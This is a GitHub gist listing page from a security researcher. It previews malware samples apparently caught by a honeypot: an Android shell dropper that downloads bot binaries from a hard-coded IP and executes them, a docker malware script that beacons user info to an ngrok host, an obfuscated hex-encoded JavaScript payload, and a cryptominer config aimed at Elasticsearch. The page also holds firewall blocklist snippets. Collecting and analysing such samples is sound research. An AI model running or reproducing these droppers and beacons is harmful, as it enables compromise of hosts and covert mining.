Skip to content

Instantly share code, notes, and snippets.

View nl5887's full-sized avatar

Remco Verhoef nl5887

282 followers · 1 following
View GitHub Profile
@nl5887
nl5887 / gist:9cb88cf2ef9849d3873b611bce3b0aaa
Created January 3, 2019 19:24
A1/knnUWULU2NiOgmM//YB9bTMpU+Zg3JfBube+UUTbHcbV0/akpEn/3VnZb7lYTDCxazq0efcDarXzQK6X1Xnk4pAYgqCOhlLjjqhSLWk6Uy+c8Fd0Q69dhMG4neFv2HbTohqdIrv+5iixaKhxP3lMJVW5TAiuRJrHiMA5z4MxgTX89Oz8jM+S5bcQhKVPfk8LrRLFk2Zlp7hj68e2Cqaa/wQC8osJPLm/Y/ejJgjQg4WpHJ+bEEZWIRmr0dhsZLYSWBn1FEMzv43KkrDAmb1gM9G63Llxj8MfZlOcZXcnDgn7e4ytoL56mkcBUOEYmG/5JJ2OQvIkcheq+77rztisgsPxSVdo+KQyVbYrCvFCHb2Eh
A1/kzSIfAKdirHqv4ILCwBmTbiutpRbIQIGZJ38p5ugwNTjDYvnj73yC/sZbhoIXG/x4OwI4SgwijkqkiBELYSBf13gS5Y1pxnswZuhytjkpsBpBUCmsggE27TRtm9BD9V+BuQOIlPigmmJ6G+4dWnc4kCNkdh/4ga7Ym2AzuPDK0TgDkyds4OSkh271uGC0Q6WC0YleKGaF6oi1rMSUhI8NqzBtVTwNafUR49t0LxArB9DQuSzbGVqXBnPZpSKsfkq0Wv+vaDekCouZ6vFQ2YPXr8IxRXoxxGHgJVuANxPPb3jzHcSgo76BX2i4OLNeS1k1lZqmgUc7qz7XgNxlnTAKaSAu4kLjgZkrE8tpFU3LqFRece8D84Sy
A16zzHwSVQTcEZqvZ61pmw0hpca/WzVMF2kP89s5/9I4y2J47hcQidU1h4pzyZdA0F5QtAzrEKkveIpAQEPdX3/74CBVf5qE49Dmy6Od4YQgpEoX2KXGrHUJC+HsVZUr5efGu1H1aLiZH1Y/0mxvzVRuYZDN01jLAXDhTEOfFbAarX86B5ckT/3VdO2gdNvvku/26rHdLC0SbiwyfElwCz9SMePTI+TT5hlnmh2oTwzy5+UwUUBVwJAAU2LkT2OAIOzdPpWVvSLYSKRqP7xaPI
@nl5887
nl5887 / gist:9f3413ed486b117134c59aa4daee17b8
Created November 29, 2018 22:21
MD5 (/Users/remco/Downloads/paimon.x86) = 5efce325c5aa2fa11553bf6a4bd94b74
arch x86
baddr 0x8048000
binsz 37184
bintype elf
bits 32
canary false
sanitiz false
class ELF32
@nl5887
nl5887 / config.json
Last active November 29, 2018 20:36
Targetting Elasticsearch
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 3, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 65, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
@nl5887
nl5887 / payloadA.js
Created November 27, 2018 11:47
function d() {
function decode(codedString) {
return Buffer.from(codedString, "hex").toString();
}
var data = ["75d4c87f3f69e0fa292969072c49dff4f90f44c1385d8eb60dae4cc3a229e52cf61f78b0822353b4304e323ad563bc22c98421eb6a8c1917e30277f716452ee8d57f9838e00f0c4e4ebd7818653f00e72888a4031676d8e2a80ca3cb00a7396ae3d140135d97c6db00cab172cbf9a92d0b9fb0f73ff2ee4d38c7f6f4b30990f2c97ef39ae6ac6c828f5892dd8457ab530a519cd236ebd51e1703bcfca8f9441c2664903af7e527c420d9263f4af58ccb5843187aa0da1cbb4b6aedfd1bdc6faf32f38a885628612660af8630597969125c917dfc512c53453c96c143a2a058ba91bc37e265b44c5874e594caaf53961c82904a95f1dd33b94e4dd1d00e9878f66dafc55fa6f2f77ec7e7e8fe28e4f959eab4707557b263ec74b2764033cd343199eeb6140a6284cb009a09b143dce784c2cd40dc320777deea6fbdf183f787fa7dd3ce2139999343b488a4f5bcf3743eecf0d30928727025ff3549808f7f711c9f7614148cf43c8aa7ce9b3fcc1cff4bb0df75cb2021d0f4afe5784fa80fed245ee3f0911762fffbc36951a78457b94629f067c1f12927cdf97699656f4a2c4429f1279c4ebacde10fa7a6f5c44b14bc88322a3f06bb0847f0456e63088
@nl5887
nl5887 / ngrok.sh
Last active April 30, 2020 09:46
docker malware (collected with honeytrap)
export HOST="http://0c9afa50.ngrok.io"
export RIP="97cc76838c10360ea07e82b225d1d306"
reportinfo() {
local _usr="$(whoami 2>/dev/null)"
local _url="$HOST/m?o=$(pido)&r=${RIP}&t=${PROCS}&l=d&u=${_usr}"
if type "wget" >/dev/null 2>&1 ; then
wget -q "${_url}" >/dev/null 2>&1
elif type "curl" >/dev/null 2>&1 ; then
@nl5887
nl5887 / gist:2dc04e80c09286a687a957f61b35e123
Created November 12, 2018 22:48
ipset blocklist
ipset create blocklist iphash
iptables -A INPUT -m set --match-set blocklist src -j DROP
ipset add blocklist {ip}
@nl5887
nl5887 / gist:32cf9f5f5155991367ca58dd37cfd8ae
Created September 11, 2018 14:33
docker firewalling
-A DOCKER-USER -i eth0 -j DROP
-A DOCKER-USER -j RETURN
@nl5887
nl5887 / gist:d994f61adf9b052d48ad3f0c16c5b130
Created September 10, 2018 14:17
import record based json into elasticsearch
cat json3 | jq -c '{ "index": {"_index": "bang", "_type": "file"}}, . + { "firmware": "json3" }' | curl -s -H "Content-Type: application/json" -XPUT "http://127.0.0.1:9200/_bulk" --data-binary @-
@nl5887
nl5887 / adbs
Created July 9, 2018 19:06
#!/bin/sh
n="arm.bot.le mips.bot.be mipsel.bot.le arm7.bot.le x86_64.bot.le i586.bot.le i686.bot.le"
http_server="95.215.62.169"
for a in $n
cp /system/bin/sh $a
>$a
busybox wget http://$http_server/$a -O -> $a
chmod 777 $a
./$a
done
@nl5887
nl5887 / forward.go
Last active July 2, 2018 12:20
Connects two outgoing connections
package main
import (
"fmt"
"io"
"net"
"os"
)
func main() {